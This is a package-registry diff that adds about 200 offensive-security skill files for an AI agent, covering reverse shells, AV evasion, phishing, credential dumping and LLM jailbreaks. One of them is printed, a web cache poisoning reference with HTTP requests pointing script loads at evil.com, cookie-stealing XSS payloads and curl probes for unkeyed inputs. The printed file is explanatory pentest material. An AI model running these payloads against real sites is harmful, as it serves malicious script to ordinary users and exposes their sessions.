ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,637 @@
|
|
|
1
|
+
# Web Cache Poisoning Techniques — Advanced Reference
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need clear cache poisoning vs deception distinction, unkeyed header/parameter poisoning techniques, Fat GET cache poisoning, parameter cloaking, CDN-specific behavior, or Vary header attacks. Assumes the main [SKILL.md](./SKILL.md) is already loaded for cache deception fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. WEB CACHE POISONING vs WEB CACHE DECEPTION
|
|
8
|
+
|
|
9
|
+
These are **distinct attack classes** — do not confuse them.
|
|
10
|
+
|
|
11
|
+
| Aspect | Cache Poisoning | Cache Deception |
|
|
12
|
+
|---|---|---|
|
|
13
|
+
| **Goal** | Serve **malicious content** to all users | Steal **victim's authenticated data** |
|
|
14
|
+
| **Who triggers** | Attacker sends poisoning request | Victim visits crafted URL |
|
|
15
|
+
| **What gets cached** | Attacker-controlled response (XSS, redirect) | Victim's authenticated response |
|
|
16
|
+
| **Who is harmed** | All users who hit the cache | The specific victim whose data is cached |
|
|
17
|
+
| **Attacker's role** | Active (sends request with unkeyed poison) | Passive (waits for victim, then reads cache) |
|
|
18
|
+
| **Key technique** | Unkeyed input manipulation | Path confusion / extension appending |
|
|
19
|
+
| **Detection signal** | Response contains unexpected injected content | Authenticated content accessible without auth |
|
|
20
|
+
|
|
21
|
+
### Attack Flow Comparison
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
CACHE POISONING:
|
|
25
|
+
Attacker → sends request with X-Forwarded-Host: evil.com
|
|
26
|
+
→ Cache stores response with evil.com references
|
|
27
|
+
→ Normal users get poisoned response
|
|
28
|
+
|
|
29
|
+
CACHE DECEPTION:
|
|
30
|
+
Attacker → tricks victim into visiting /profile/x.css
|
|
31
|
+
→ Server returns victim's profile data (ignores x.css)
|
|
32
|
+
→ Cache stores response (thinks it's static CSS)
|
|
33
|
+
→ Attacker fetches /profile/x.css → reads victim's data
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## 2. UNKEYED HEADER POISONING
|
|
39
|
+
|
|
40
|
+
### 2.1 Cache Key Basics
|
|
41
|
+
|
|
42
|
+
The **cache key** is what the cache uses to determine if a stored response matches a request. Typically includes:
|
|
43
|
+
- HTTP method
|
|
44
|
+
- Host header
|
|
45
|
+
- URL path
|
|
46
|
+
- Query string (sometimes)
|
|
47
|
+
|
|
48
|
+
**NOT typically included** (= unkeyed):
|
|
49
|
+
- Most request headers
|
|
50
|
+
- Cookies (sometimes)
|
|
51
|
+
- Request body (for GET)
|
|
52
|
+
|
|
53
|
+
If an unkeyed input is **reflected** in the response, it can be poisoned.
|
|
54
|
+
|
|
55
|
+
### 2.2 X-Forwarded-Host Poisoning
|
|
56
|
+
|
|
57
|
+
The most common cache poisoning vector.
|
|
58
|
+
|
|
59
|
+
```http
|
|
60
|
+
GET / HTTP/1.1
|
|
61
|
+
Host: target.com
|
|
62
|
+
X-Forwarded-Host: evil.com
|
|
63
|
+
|
|
64
|
+
HTTP/1.1 200 OK
|
|
65
|
+
...
|
|
66
|
+
<script src="https://evil.com/static/app.js"></script>
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
If `X-Forwarded-Host` is not in the cache key but is reflected in the response → poison stores `evil.com` JavaScript for all users requesting `/`.
|
|
70
|
+
|
|
71
|
+
**Common reflection points**:
|
|
72
|
+
- `<script src="...">` and `<link href="...">`
|
|
73
|
+
- Open Graph meta tags: `<meta property="og:url" content="...">`
|
|
74
|
+
- Canonical links: `<link rel="canonical" href="...">`
|
|
75
|
+
- Resource prefetch: `<link rel="dns-prefetch" href="...">`
|
|
76
|
+
- Dynamic import maps
|
|
77
|
+
|
|
78
|
+
### 2.3 X-Forwarded-Scheme / X-Forwarded-Proto
|
|
79
|
+
|
|
80
|
+
Forces HTTPS → HTTP downgrade in cached response:
|
|
81
|
+
|
|
82
|
+
```http
|
|
83
|
+
GET / HTTP/1.1
|
|
84
|
+
Host: target.com
|
|
85
|
+
X-Forwarded-Scheme: http
|
|
86
|
+
|
|
87
|
+
HTTP/1.1 301 Moved
|
|
88
|
+
Location: http://target.com/ ← now HTTP, not HTTPS
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
Cache stores a redirect to HTTP → MITM opportunity for all cached users.
|
|
92
|
+
|
|
93
|
+
### 2.4 X-Original-URL / X-Rewrite-URL
|
|
94
|
+
|
|
95
|
+
Some frameworks (IIS/ASP.NET, Symfony) use these headers to override the request path:
|
|
96
|
+
|
|
97
|
+
```http
|
|
98
|
+
GET / HTTP/1.1
|
|
99
|
+
Host: target.com
|
|
100
|
+
X-Original-URL: /admin/delete-user?id=1
|
|
101
|
+
|
|
102
|
+
Cache key = GET /
|
|
103
|
+
But server processes /admin/delete-user?id=1
|
|
104
|
+
Response gets cached under /
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
### 2.5 Multiple Host Headers
|
|
108
|
+
|
|
109
|
+
```http
|
|
110
|
+
GET / HTTP/1.1
|
|
111
|
+
Host: target.com
|
|
112
|
+
Host: evil.com
|
|
113
|
+
|
|
114
|
+
# Some caches key on first Host, some apps use last Host
|
|
115
|
+
# If cache keys on target.com but app reflects evil.com → poisoned
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### 2.6 X-Forwarded-Port
|
|
119
|
+
|
|
120
|
+
```http
|
|
121
|
+
GET / HTTP/1.1
|
|
122
|
+
Host: target.com
|
|
123
|
+
X-Forwarded-Port: 1337
|
|
124
|
+
|
|
125
|
+
# If port is reflected in absolute URLs:
|
|
126
|
+
# <a href="https://target.com:1337/path">
|
|
127
|
+
# May cause resource loading failures → DoS via cache poisoning
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### 2.7 Discovery Methodology
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Step 1: Identify cache (check response headers)
|
|
134
|
+
curl -v https://target.com/ 2>&1 | grep -i "x-cache\|age\|via\|cf-cache"
|
|
135
|
+
|
|
136
|
+
# Step 2: Find reflected unkeyed headers
|
|
137
|
+
# Send request with unique header values:
|
|
138
|
+
curl -H "X-Forwarded-Host: canary123.com" https://target.com/ | grep "canary123"
|
|
139
|
+
curl -H "X-Forwarded-Scheme: canary" https://target.com/ | grep "canary"
|
|
140
|
+
curl -H "X-Original-URL: /canary" https://target.com/ | grep "canary"
|
|
141
|
+
|
|
142
|
+
# Step 3: Verify it's unkeyed
|
|
143
|
+
# Send normal request → check if canary value is in cached response:
|
|
144
|
+
curl https://target.com/ | grep "canary123"
|
|
145
|
+
# If found → successfully poisoned
|
|
146
|
+
|
|
147
|
+
# Tool: Param Miner (Burp extension) automates unkeyed header discovery
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## 3. UNKEYED PARAMETER POISONING
|
|
153
|
+
|
|
154
|
+
### 3.1 Concept
|
|
155
|
+
|
|
156
|
+
Some query parameters are excluded from the cache key (for tracking, analytics, etc.) but are reflected in the response.
|
|
157
|
+
|
|
158
|
+
### 3.2 Common Unkeyed Parameters
|
|
159
|
+
|
|
160
|
+
```
|
|
161
|
+
utm_content utm_source utm_medium utm_campaign
|
|
162
|
+
utm_term fbclid gclid _ga
|
|
163
|
+
dclid msclkid mc_eid ref
|
|
164
|
+
callback jsonp _ cb
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### 3.3 Example Attack
|
|
168
|
+
|
|
169
|
+
```http
|
|
170
|
+
GET /page?utm_content="><script>alert(1)</script> HTTP/1.1
|
|
171
|
+
Host: target.com
|
|
172
|
+
|
|
173
|
+
HTTP/1.1 200 OK
|
|
174
|
+
...
|
|
175
|
+
<a href="/page?utm_content="><script>alert(1)</script>">Share</a>
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
Cache key: `GET /page` (utm_content excluded)
|
|
179
|
+
Response: contains XSS payload
|
|
180
|
+
Result: all users visiting `/page` get XSS.
|
|
181
|
+
|
|
182
|
+
### 3.4 Parameter Discovery
|
|
183
|
+
|
|
184
|
+
```bash
|
|
185
|
+
# Burp Param Miner: "Guess query parameters" scan
|
|
186
|
+
|
|
187
|
+
# Manual: append unique parameter and check if cache key changes
|
|
188
|
+
curl "https://target.com/page?cachebuster=abc123" -v
|
|
189
|
+
# → X-Cache: MISS (new cache entry? or same as /page?)
|
|
190
|
+
|
|
191
|
+
curl "https://target.com/page" -v
|
|
192
|
+
# → X-Cache: HIT and response matches previous? Then /page is the key (query excluded)
|
|
193
|
+
# → X-Cache: MISS? Then query IS in the key
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
### 3.5 Reflected Parameter in JavaScript
|
|
197
|
+
|
|
198
|
+
```http
|
|
199
|
+
GET /page?callback=alert HTTP/1.1
|
|
200
|
+
|
|
201
|
+
HTTP/1.1 200 OK
|
|
202
|
+
<script>
|
|
203
|
+
var config = {
|
|
204
|
+
callback: "alert", // reflected from query parameter
|
|
205
|
+
...
|
|
206
|
+
};
|
|
207
|
+
</script>
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
If `callback` is excluded from cache key but reflected in JavaScript:
|
|
211
|
+
|
|
212
|
+
```http
|
|
213
|
+
GET /page?callback=alert(document.cookie)// HTTP/1.1
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
Cached for all users requesting `/page`.
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## 4. FAT GET CACHE POISONING
|
|
221
|
+
|
|
222
|
+
### 4.1 Concept
|
|
223
|
+
|
|
224
|
+
Some origins accept and process GET request **body** (despite RFC discouraging it). If the cache ignores the body (not in cache key) but the origin reflects body content, the response can be poisoned.
|
|
225
|
+
|
|
226
|
+
### 4.2 Example
|
|
227
|
+
|
|
228
|
+
```http
|
|
229
|
+
GET /api/config HTTP/1.1
|
|
230
|
+
Host: target.com
|
|
231
|
+
Content-Type: application/x-www-form-urlencoded
|
|
232
|
+
|
|
233
|
+
callback=alert(1)
|
|
234
|
+
|
|
235
|
+
HTTP/1.1 200 OK
|
|
236
|
+
Content-Type: application/javascript
|
|
237
|
+
Cache-Control: public, max-age=3600
|
|
238
|
+
|
|
239
|
+
alert(1)({"theme":"default","lang":"en"})
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
Cache key: `GET /api/config` (body not included)
|
|
243
|
+
Response: contains attacker's callback value
|
|
244
|
+
Result: all users get `alert(1)` when loading `/api/config`.
|
|
245
|
+
|
|
246
|
+
### 4.3 Detection
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# Step 1: Check if origin processes GET body
|
|
250
|
+
curl -X GET https://target.com/api/endpoint \
|
|
251
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
252
|
+
-d "param=canary_value"
|
|
253
|
+
# Check if canary_value appears in response
|
|
254
|
+
|
|
255
|
+
# Step 2: Check if response is cached
|
|
256
|
+
curl https://target.com/api/endpoint
|
|
257
|
+
# Check X-Cache header and whether canary_value persists
|
|
258
|
+
|
|
259
|
+
# If canary in cached response → Fat GET poisoning confirmed
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
### 4.4 Frameworks That Process GET Body
|
|
263
|
+
|
|
264
|
+
| Framework | GET Body Processing |
|
|
265
|
+
|---|---|
|
|
266
|
+
| Ruby on Rails | Yes (parsed by default) |
|
|
267
|
+
| Express.js | Depends on middleware (body-parser) |
|
|
268
|
+
| Django | Yes (request.POST populated for GET with body) |
|
|
269
|
+
| Flask | Yes (request.form available) |
|
|
270
|
+
| ASP.NET | Depends on model binding configuration |
|
|
271
|
+
| Spring | Depends on `@RequestBody` annotation |
|
|
272
|
+
|
|
273
|
+
---
|
|
274
|
+
|
|
275
|
+
## 5. PARAMETER CLOAKING
|
|
276
|
+
|
|
277
|
+
### 5.1 Semicolon as Parameter Separator
|
|
278
|
+
|
|
279
|
+
Some platforms treat `;` as a parameter separator, others don't:
|
|
280
|
+
|
|
281
|
+
```http
|
|
282
|
+
GET /page?legit=value;poison=xss HTTP/1.1
|
|
283
|
+
|
|
284
|
+
# Ruby on Rails: parses as two params: legit=value, poison=xss
|
|
285
|
+
# PHP: parses as one param: legit=value;poison=xss
|
|
286
|
+
# Cache (Varnish): may key on "legit=value;poison=xss" as opaque string
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
**Exploit**: if cache keys on full query string but back-end parses `;` as separator:
|
|
290
|
+
|
|
291
|
+
```http
|
|
292
|
+
GET /page?legit=value;callback=alert(1) HTTP/1.1
|
|
293
|
+
|
|
294
|
+
# Cache key: /page?legit=value;callback=alert(1)
|
|
295
|
+
# Origin parses: legit=value AND callback=alert(1)
|
|
296
|
+
# Response reflects: alert(1) in callback
|
|
297
|
+
# Next request to /page?legit=value;callback=alert(1) gets poisoned response
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
### 5.2 Different Delimiter Parsing
|
|
301
|
+
|
|
302
|
+
| Platform | `;` Behavior | `&` Behavior |
|
|
303
|
+
|---|---|---|
|
|
304
|
+
| PHP | Literal (part of value) | Parameter separator |
|
|
305
|
+
| Ruby on Rails | Parameter separator | Parameter separator |
|
|
306
|
+
| Java (Servlet) | Parameter separator (`;` in path = path parameter) | Parameter separator |
|
|
307
|
+
| ASP.NET | Depends on configuration | Parameter separator |
|
|
308
|
+
| Node.js (querystring) | Literal | Parameter separator |
|
|
309
|
+
| Python (urllib) | Can be configured as separator | Parameter separator |
|
|
310
|
+
|
|
311
|
+
### 5.3 Duplicate Parameters
|
|
312
|
+
|
|
313
|
+
```http
|
|
314
|
+
GET /page?param=safe¶m=<script>alert(1)</script> HTTP/1.1
|
|
315
|
+
|
|
316
|
+
# Cache may key on first occurrence: param=safe
|
|
317
|
+
# Origin may use last occurrence: param=<script>alert(1)</script>
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
| Platform | Duplicate Parameter Behavior |
|
|
321
|
+
|---|---|
|
|
322
|
+
| PHP | Last value wins |
|
|
323
|
+
| ASP.NET | Comma-joined (both values) |
|
|
324
|
+
| Ruby on Rails | Last value wins |
|
|
325
|
+
| Python Flask | First value wins |
|
|
326
|
+
| Java Servlet | First value wins (`getParameter`), all values (`getParameterValues`) |
|
|
327
|
+
| Node.js Express | Array of all values |
|
|
328
|
+
|
|
329
|
+
### 5.4 URL Path Parameter Cloaking
|
|
330
|
+
|
|
331
|
+
```http
|
|
332
|
+
# Semicolons in URL path (Java servlet path parameters):
|
|
333
|
+
GET /page;jsessionid=abc;param=value HTTP/1.1
|
|
334
|
+
|
|
335
|
+
# Tomcat/Jetty: strips ;param=value from path
|
|
336
|
+
# Cache: may include full path in key or strip differently
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
---
|
|
340
|
+
|
|
341
|
+
## 6. CDN-SPECIFIC BEHAVIOR
|
|
342
|
+
|
|
343
|
+
### 6.1 Cloudflare
|
|
344
|
+
|
|
345
|
+
```
|
|
346
|
+
# Cache status header: cf-cache-status
|
|
347
|
+
# Values: HIT, MISS, EXPIRED, DYNAMIC, BYPASS
|
|
348
|
+
|
|
349
|
+
# Default caching: by file extension (.js, .css, .png, etc.)
|
|
350
|
+
# Query strings: included in cache key by default
|
|
351
|
+
# Headers in key: Host only
|
|
352
|
+
|
|
353
|
+
# Page Rules: can force cache of HTML / API responses
|
|
354
|
+
# Cache-Control respected: yes
|
|
355
|
+
|
|
356
|
+
# Bypass methods:
|
|
357
|
+
# - Set Cache-Control: no-cache on origin
|
|
358
|
+
# - Use __cf_chl_jschl_tk__ (Cloudflare challenge token) — not in key
|
|
359
|
+
|
|
360
|
+
# Interesting behaviors:
|
|
361
|
+
# - Cloudflare Workers can modify cache key
|
|
362
|
+
# - cf-connecting-ip header added (unkeyed, may be reflected)
|
|
363
|
+
# - True-Client-IP header (unkeyed on some plans)
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
### 6.2 AWS CloudFront
|
|
367
|
+
|
|
368
|
+
```
|
|
369
|
+
